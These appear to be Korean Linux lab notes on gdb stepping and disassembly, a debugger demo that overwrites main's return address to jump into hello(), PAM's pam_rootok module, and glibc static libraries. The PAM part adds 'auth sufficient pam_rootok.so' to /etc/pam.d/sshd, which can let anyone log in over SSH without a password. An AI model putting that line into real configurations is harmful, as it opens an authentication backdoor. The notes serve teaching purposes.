13 int i = 7;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686
# rm -f .gdbinit
gdb 에서 필요한 명령어
break(b): bp 설정 (ex: b main)
run(r) : 프로세스 실행 (ex: r)
next(n) : eip가 가리키는 코드를 실행하고 다음 코드로 이동한다. (함수를 건너뛴다.)
- n
- n 3
next instructiron(ni) : 기계어 코드 명령어 하나 하나 실행
- ni
- ni 3
step: eip가 가리키는 코드를 실행하고 다음 코드로 이동한다. (함수 안으로 들어간다.)
- n
- n 3
step instructiron(si): 기계어 코드 명령어 하나 하나 실행한다.
- s
- s 3
continue(c): 다음 BP까지 실행
- c
print(p): 변수 출력
- p i
examine(x): 메모리 조사
- x/16xw $esp
- x/16xw &hello
display(disp): 변수/레지스터 모니터링
- disp $eip
# gdb test1
Reading symbols from /root/test1...done.
(gdb) b main
Breakpoint 1 at 0x8048416: file test1.c, line 13.
(gdb) r
Starting program: /root/test1
Breakpoint 1, main () at test1.c:13
13 int i = 7;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686
(gdb) disas /m main
Dump of assembler code for function main:
12 {
0x0804840d <+0>: push %ebp
0x0804840e <+1>: mov %esp,%ebp
0x08048410 <+3>: and $0xfffffff0,%esp
0x08048413 <+6>: sub $0x20,%esp
13 int i = 7;
=> 0x08048416 <+9>: movl $0x7,0x1c(%esp)
14
15 printf("i = %d\n", i); // i = 7
0x0804841e <+17>: mov 0x1c(%esp),%eax
0x08048422 <+21>: mov %eax,0x4(%esp)
0x08048426 <+25>: movl $0x80484d4,(%esp)
0x0804842d <+32>: call 0x80482e0 <printf@plt>
16
17 return 0;
0x08048432 <+37>: mov $0x0,%eax
18 }
0x08048437 <+42>: leave
0x08048438 <+43>: ret
End of assembler dump.
(gdb) n
15 printf("i = %d\n", i); // i = 7
(gdb) i r
eax 0x1 1
ecx 0xf5a32c57 -173855657
edx 0xffffd514 -10988
ebx 0xf7fce000 -134422528
esp 0xffffd4c0 0xffffd4c0
ebp 0xffffd4e8 0xffffd4e8
esi 0x0 0
edi 0x0 0
eip 0x804841e 0x804841e <main+17>
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
(gdb) disas main
Dump of assembler code for function main:
0x0804840d <+0>: push %ebp
0x0804840e <+1>: mov %esp,%ebp
0x08048410 <+3>: and $0xfffffff0,%esp
0x08048413 <+6>: sub $0x20,%esp
0x08048416 <+9>: movl $0x7,0x1c(%esp)
=> 0x0804841e <+17>: mov 0x1c(%esp),%eax
0x08048422 <+21>: mov %eax,0x4(%esp)
0x08048426 <+25>: movl $0x80484d4,(%esp)
0x0804842d <+32>: call 0x80482e0 <printf@plt>
0x08048432 <+37>: mov $0x0,%eax
0x08048437 <+42>: leave
0x08048438 <+43>: ret
End of assembler dump.
(gdb) i r $eip
eip 0x804841e 0x804841e <main+17>
(gdb) n
i = 7
17 return 0;
(gdb) i r $eip
eip 0x8048432 0x8048432 <main+37>
(gdb) disas main
Dump of assembler code for function main:
0x0804840d <+0>: push %ebp
0x0804840e <+1>: mov %esp,%ebp
0x08048410 <+3>: and $0xfffffff0,%esp
0x08048413 <+6>: sub $0x20,%esp
0x08048416 <+9>: movl $0x7,0x1c(%esp)
0x0804841e <+17>: mov 0x1c(%esp),%eax
0x08048422 <+21>: mov %eax,0x4(%esp)
0x08048426 <+25>: movl $0x80484d4,(%esp)
0x0804842d <+32>: call 0x80482e0 <printf@plt>
=> 0x08048432 <+37>: mov $0x0,%eax
0x08048437 <+42>: leave
0x08048438 <+43>: ret
End of assembler dump.
(gdb) n
18 }
(gdb) n
0xf7e212d3 in __libc_start_main () from /lib/libc.so.6
(gdb) n
Single stepping until exit from function __libc_start_main,
which has no line number information.
[Inferior 1 (process 1894) exited normally]
(gdb) c
The program is not being run.
# gdb test1
Reading symbols from /root/test1...done.
(gdb) b main
Breakpoint 1 at 0x8048416: file test1.c, line 13.
(gdb) r
Starting program: /root/test1
Breakpoint 1, main () at test1.c:13
13 int i = 7;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686
(gdb) disas main
Dump of assembler code for function main:
0x0804840d <+0>: push %ebp
0x0804840e <+1>: mov %esp,%ebp
0x08048410 <+3>: and $0xfffffff0,%esp
0x08048413 <+6>: sub $0x20,%esp
=> 0x08048416 <+9>: movl $0x7,0x1c(%esp)
0x0804841e <+17>: mov 0x1c(%esp),%eax
0x08048422 <+21>: mov %eax,0x4(%esp)
0x08048426 <+25>: movl $0x80484d4,(%esp)
0x0804842d <+32>: call 0x80482e0 <printf@plt>
0x08048432 <+37>: mov $0x0,%eax
0x08048437 <+42>: leave
0x08048438 <+43>: ret
End of assembler dump.
(gdb) disas /m main
Dump of assembler code for function main:
12 {
0x0804840d <+0>: push %ebp
0x0804840e <+1>: mov %esp,%ebp
0x08048410 <+3>: and $0xfffffff0,%esp
0x08048413 <+6>: sub $0x20,%esp
13 int i = 7;
=> 0x08048416 <+9>: movl $0x7,0x1c(%esp)
14
15 printf("i = %d\n", i); // i = 7
0x0804841e <+17>: mov 0x1c(%esp),%eax
0x08048422 <+21>: mov %eax,0x4(%esp)
0x08048426 <+25>: movl $0x80484d4,(%esp)
0x0804842d <+32>: call 0x80482e0 <printf@plt>
16
17 return 0;
0x08048432 <+37>: mov $0x0,%eax
18 }
0x08048437 <+42>: leave
0x08048438 <+43>: ret
End of assembler dump.
(gdb) n
15 printf("i = %d\n", i); // i = 7
(gdb) disas /m main
Dump of assembler code for function main:
12 {
0x0804840d <+0>: push %ebp
0x0804840e <+1>: mov %esp,%ebp
0x08048410 <+3>: and $0xfffffff0,%esp
0x08048413 <+6>: sub $0x20,%esp
13 int i = 7;
0x08048416 <+9>: movl $0x7,0x1c(%esp)
14
15 printf("i = %d\n", i); // i = 7
=> 0x0804841e <+17>: mov 0x1c(%esp),%eax
0x08048422 <+21>: mov %eax,0x4(%esp)
0x08048426 <+25>: movl $0x80484d4,(%esp)
0x0804842d <+32>: call 0x80482e0 <printf@plt>
16
17 return 0;
0x08048432 <+37>: mov $0x0,%eax
18 }
0x08048437 <+42>: leave
0x08048438 <+43>: ret
End of assembler dump.
(gdb) i r $eip
eip 0x804841e 0x804841e <main+17>
(gdb) ni
0x08048422 15 printf("i = %d\n", i); // i = 7
(gdb) i r $eip
eip 0x8048422 0x8048422 <main+21>
(gdb) ni
0x08048426 15 printf("i = %d\n", i); // i = 7
(gdb) i r $eip
eip 0x8048426 0x8048426 <main+25>
(gdb) ni
0x0804842d 15 printf("i = %d\n", i); // i = 7
(gdb) i r $eip
eip 0x804842d 0x804842d <main+32>
(gdb) ni
i = 7
17 return 0;
(gdb) i r $eax
eax 0x6 6
(gdb) ni
18 }
(gdb) i r $eax
eax 0x0 0
(gdb) c
Continuing.
[Inferior 1 (process 1900) exited normally]
(gdb) q
실습> gdb로 함수 분석하기
1. 소스코드 다운로드
# wget https://linuxmaster.net/tools/cLanguage.tar.gz --no-check-certificate
# tar xzf cLanguage.tar.gz
# cd cLanguage/Day07
2. 소스코드 작성
vi 에서 소스코드를 utf8로 변경한다.
# vi c_Chap07Ex01.c
:set fileencoding=utf8
:wq
/*
* 파일명: c_Chap07Ex01.c
* 프로그램 설명: 함수 예제
* 작성자: 리눅스마스터넷
*/
#include <stdio.h>
// 함수 선언
int plus(int value1, int value2);
int main()
{
int a;
a = plus(1, 2); // 함수 호출
printf("a = %d\n", a); // 3
printf("plus(3,5) = %d\n", plus(3, 5)); // 8
return 0;
}
// 함수 정의
int plus(int value1, int value2)
{
return value1 + value2;
}
3. 컴파일 및 실행
-m32 : 32bit 옵션
-g : 디버깅 옵션
-o c_Chap07Ex01: 실행파일
# gcc -m32 -g -o c_Chap07Ex01 c_Chap07Ex01.c
# ./c_Chap07Ex01
a = 3
plus(3,5) = 8
4. 디버깅
# gdb c_Chap07Ex01
Reading symbols from /root/cLanguage/Day07/c_Chap07Ex01...done.
(gdb) b main
(gdb) display $eip
(gdb) r
Starting program: /root/cLanguage/Day07/c_Chap07Ex01
Breakpoint 1, main () at c_Chap07Ex01.c:16
16 a = plus(1, 2); // 함수 호출
1: $eip = (void (*)()) 0x8048416 <main+9>
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686
(gdb) s
plus (value1=1, value2=2) at c_Chap07Ex01.c:27
27 return value1 + value2;
1: $eip = (void (*)()) 0x8048470 <plus+3>
(gdb) disas /m plus
Dump of assembler code for function plus:
26 {
0x0804846d <+0>: push %ebp
0x0804846e <+1>: mov %esp,%ebp
27 return value1 + value2;
=> 0x08048470 <+3>: mov 0xc(%ebp),%eax
0x08048473 <+6>: mov 0x8(%ebp),%edx
0x08048476 <+9>: add %edx,%eax
28 }
0x08048478 <+11>: pop %ebp
0x08048479 <+12>: ret
End of assembler dump.
(gdb) ni
0x08048473 27 return value1 + value2;
1: $eip = (void (*)()) 0x8048473 <plus+6>
(gdb) ni
0x08048476 27 return value1 + value2;
1: $eip = (void (*)()) 0x8048476 <plus+9>
(gdb) i r $eax
eax 0x2 2
(gdb) ni
28 }
1: $eip = (void (*)()) 0x8048478 <plus+11>
(gdb) i r $eax
eax 0x3 3
(gdb) c
Continuing.
a = 3
plus(3,5) = 8
[Inferior 1 (process 1948) exited normally]
실습> gdb에서 EIP 주소 변경하기
레지스터:
CPU안에 있는 고속의 메모리 공간으로 CPU가 빠른 처리를 위해서 레지스터에 값을 저장하고 이용한다.
32bit 기준
EIP: 다음에 실행한 메모리 주소
/*
* 파일명: gdbEIP.c
* 프로그램 설명: gdb에서 EIP 주소 변경하기
* 작성자: 리눅스마스터넷
*/
#include <stdio.h>
void hello();
int main()
{
printf("Hello\n");
return 0;
}
void hello()
{
printf("Hello C!\n");
}
# gcc -m32 -g -o gdbEIP gdbEIP.c
# ./gdbEIP
Hello
# gdb gdbEIP
(gdb) b main
(gdb) disas /m main
Dump of assembler code for function main:
12 {
0x0804840d <+0>: push %ebp
0x0804840e <+1>: mov %esp,%ebp
0x08048410 <+3>: and $0xfffffff0,%esp
0x08048413 <+6>: sub $0x10,%esp
13 printf("Hello\n");
=> 0x08048416 <+9>: movl $0x80484d4,(%esp)
0x0804841d <+16>: call 0x80482e0 <puts@plt>
14 return 0;
0x08048422 <+21>: mov $0x0,%eax
15 }
0x08048427 <+26>: leave
0x08048428 <+27>: ret
(gdb) r
(gdb) disp $eip
1: $eip = (void (*)()) 0x8048416 <main+9>
(gdb) ni
0x0804841d 13 printf("Hello\n");
1: $eip = (void (*)()) 0x804841d <main+16>
(gdb) ni
Hello
14 return 0;
1: $eip = (void (*)()) 0x8048422 <main+21>
(gdb) ni
15 }
1: $eip = (void (*)()) 0x8048427 <main+26>
(gdb) ni
0x08048428 15 }
1: $eip = (void (*)()) 0x8048428 <main+27>
(gdb) ni
0xf7e212d3 in __libc_start_main () from /lib/libc.so.6
1: $eip = (void (*)()) 0xf7e212d3 <__libc_start_main+243>
(gdb) c
Continuing.
[Inferior 1 (process 1989) exited normally]
프로세스를 다시 실행시킨다.
(gdb) r
Starting program: /root/gdbEIP
Breakpoint 1, main () at gdbEIP.c:13
13 printf("Hello\n");
1: $eip = (void (*)()) 0x8048416 <main+9>
(gdb) n
Hello
14 return 0;
1: $eip = (void (*)()) 0x8048422 <main+21>
(gdb) x/16xw $ebp
0xffffd4e8: 0x00000000 0xf7e212d3 0x00000001 0xffffd584
~~~~~~~~~~
RET (리턴 Address가 저장된 곳)
main()함수가 종료되면 돌아가야할 메모리 주소
0xffffd4f8: 0xffffd58c 0xf7fd8738 0x00000001 0x00000001
0xffffd508: 0x00000000 0x0804a010 0x0804821c 0xf7fce000
0xffffd518: 0x00000000 0x00000000 0x00000000 0x5b482663
(gdb) n
15 }
1: $eip = (void (*)()) 0x8048427 <main+26>
(gdb) n
0xf7e212d3 in __libc_start_main () from /lib/libc.so.6
1: $eip = (void (*)()) 0xf7e212d3 <__libc_start_main+243>
(gdb) disas hello
Dump of assembler code for function hello:
0x08048429 <+0>: push %ebp
0x0804842a <+1>: mov %esp,%ebp
0x0804842c <+3>: sub $0x18,%esp
0x0804842f <+6>: movl $0x80484da,(%esp)
0x08048436 <+13>: call 0x80482e0 <puts@plt>
0x0804843b <+18>: leave
0x0804843c <+19>: ret
End of assembler dump.
(gdb) p &hello
$1 = (void (*)()) 0x8048429 <hello>
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/gdbEIP
Breakpoint 1, main () at gdbEIP.c:13
13 printf("Hello\n");
1: $eip = (void (*)()) 0x8048416 <main+9>
(gdb) x/16xw $ebp
0xffffd4e8: 0x00000000 0xf7e212d3 0x00000001 0xffffd584
~~~~~~~~~~
RET <-- main() 함수가 끝나고 돌아갈 주소 (hello 함수) 주소로 변경
0xffffd4f8: 0xffffd58c 0xf7fd8738 0x00000001 0x00000001
0xffffd508: 0x00000000 0x0804a010 0x0804821c 0xf7fce000
0xffffd518: 0x00000000 0x00000000 0x00000000 0xaf09c943
RET의 주소를 hello 주소로 변경한다.
(gdb) set {int *}0xffffd4ec = &hello
(gdb) x/16xw $ebp
0xffffd4e8: 0x00000000 0x08048429 0x00000001 0xffffd584
0xffffd4f8: 0xffffd58c 0xf7fd8738 0x00000001 0x00000001
0xffffd508: 0x00000000 0x0804a010 0x0804821c 0xf7fce000
0xffffd518: 0x00000000 0x00000000 0x00000000 0xaf09c943
(gdb) ni
0x0804841d 13 printf("Hello\n");
1: $eip = (void (*)()) 0x804841d <main+16>
(gdb) ni
Hello
14 return 0;
1: $eip = (void (*)()) 0x8048422 <main+21>
(gdb) ni
15 }
1: $eip = (void (*)()) 0x8048427 <main+26>
(gdb) ni
0x08048428 15 }
1: $eip = (void (*)()) 0x8048428 <main+27>
(gdb) ni
hello () at gdbEIP.c:18
18 {
1: $eip = (void (*)()) 0x8048429 <hello> <-- hello() 함수 안으로 들어온 부분
(gdb) n
19 printf("Hello C!\n");
1: $eip = (void (*)()) 0x804842f <hello+6>
(gdb) c
Continuing.
Hello C!
Program received signal SIGSEGV, Segmentation fault.
0x00000001 in ?? ()
1: $eip = (void (*)()) 0x1
(gdb) c
Continuing.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) q
##########
## PAM
##########
pam_rootok.so
- root 계정이면 성공을 반환한다.
- 다른 계정이면 실패를 반환한다.
# grep ^UsePAM /etc/ssh/sshd_config
UsePAM yes
# ls -ld /usr/sbin/sshd
-rwxr-xr-x. 1 root root 852856 8월 9 2019 /usr/sbin/sshd
# ls -ld /etc/pam.d/sshd
-rw-r--r--. 1 root root 904 8월 9 2019 /etc/pam.d/sshd
# vi /etc/pam.d/sshd
#%PAM-1.0
auth sufficient pam_rootok.so
:
:(생략)
# vi /etc/pam.d/su
#%PAM-1.0
auth sufficient pam_rootok.so <-- root이면 성공을 반환한다.
# useradd user1
# passwd --stdin user1
12345
root 이기 때문에 무조건 성공을 반환하므로 일반유저 user1의 권한을 얻을 수 있다.
[root@localhost ~]# su - user1
마지막 로그인: 수 3월 22 16:21:33 KST 2023 일시 pts/0
[user1@localhost ~]$ exit
# vi /etc/pam.d/su
#%PAM-1.0
#auth sufficient pam_rootok.so <-- 주석처리를 했으므로 root이면 성공을 반환하지 않는다.
무조건 성공이 아니므로 일반유저 user1의 비밀번호를 정확히 입력해야 user1의 권한을 얻을 수 있다.
만약 인증에 실패하면 로그인이 금지된다.
[root@localhost ~]# su - user1
암호:
마지막 로그인: 수 3월 22 16:38:48 KST 2023 일시 pts/0
[user1@localhost ~]$ exit
[root@localhost ~]# su - user1
암호:
su: 인증 실패
실습> static library 설치하기
라이브러리명
lib<라이브러리명>.<라이브러리종류>
.a : 정적 라이브러리
.so : 공유 라이브러리
.so : 동적 라이브러리
glibc-static: 64bit
glibc-static.i686: 32bit
***** 참고 *****
# mv /bin/mv ~
# rpm -qf /bin/mv
# yum -y reinstall coreutils
# ls -l /bin/mv
-rwxr-xr-x. 1 root root 130360 8월 20 2019 /bin/mv
# mv /lib64/libc.a ~
# yum -y reinstall glibc-static.i686 glibc-static
# ls /lib64/libc.a
ls: cannot access /lib64/libc.a: 그런 파일이나 디렉터리가 없습니다
glibc-static은 삭제되지 않는다.
그러므로 하나씩 지웠다가 다시 설치해야 한다.
# yum -y remove glibc-static.i686 glibc-static
# yum -y remove glibc-static.i686
# yum -y remove glibc-static
# yum -y install glibc-static.i686 glibc-static
이유는 확인을 해야 한다.
dnf가 나온 이유는 yum 의 단점을 보완해서 dnf가 나온것인데 이것과 연관되어 있는지 확인을 해야 된다.
***** 참고 *****
# yum -y remove glibc-static.i686
# yum -y remove glibc-static
# yum -y install glibc-static.i686 glibc-static
# ll /usr/lib64/libc.a
ls: cannot access /usr/lib64/libc.a: 그런 파일이나 디렉터리가 없습니다
# yum -y install glibc-static glibc-static.i686
64bit 정적 라이브러리
# ll /usr/lib64/libc.a
-rw-r--r--. 1 root root 5105516 5월 19 2022 /usr/lib64/libc.a
32bit 정적 라이브러리
# ll /usr/lib/libc.a
-rw-r--r--. 1 root root 3884038 5월 19 2022 /usr/lib/libc.a
64bit 정적 라이브러의 모든 Object를 출력한다.
# ar t /usr/lib64/libc.a
32bit 정적 라이브러의 모든 Object를 출력한다.
# ar t /usr/lib/libc.a
64bit 정적 라이브러에서 printf.o Object를 출력한다.
# ar t /usr/lib64/libc.a printf.o
printf.o
64bit 정적 라이브러에서 scanf.o Object를 출력한다.
# ar t /usr/lib64/libc.a scanf.o
scanf.o
32bit 정적 라이브러에서 printf.o Object를 출력한다.
# ar t /usr/lib/libc.a printf.o
printf.o
3bit 정적 라이브러에서 scanf.o Object를 출력한다.
# ar t /usr/lib/libc.a scanf.o
scanf.o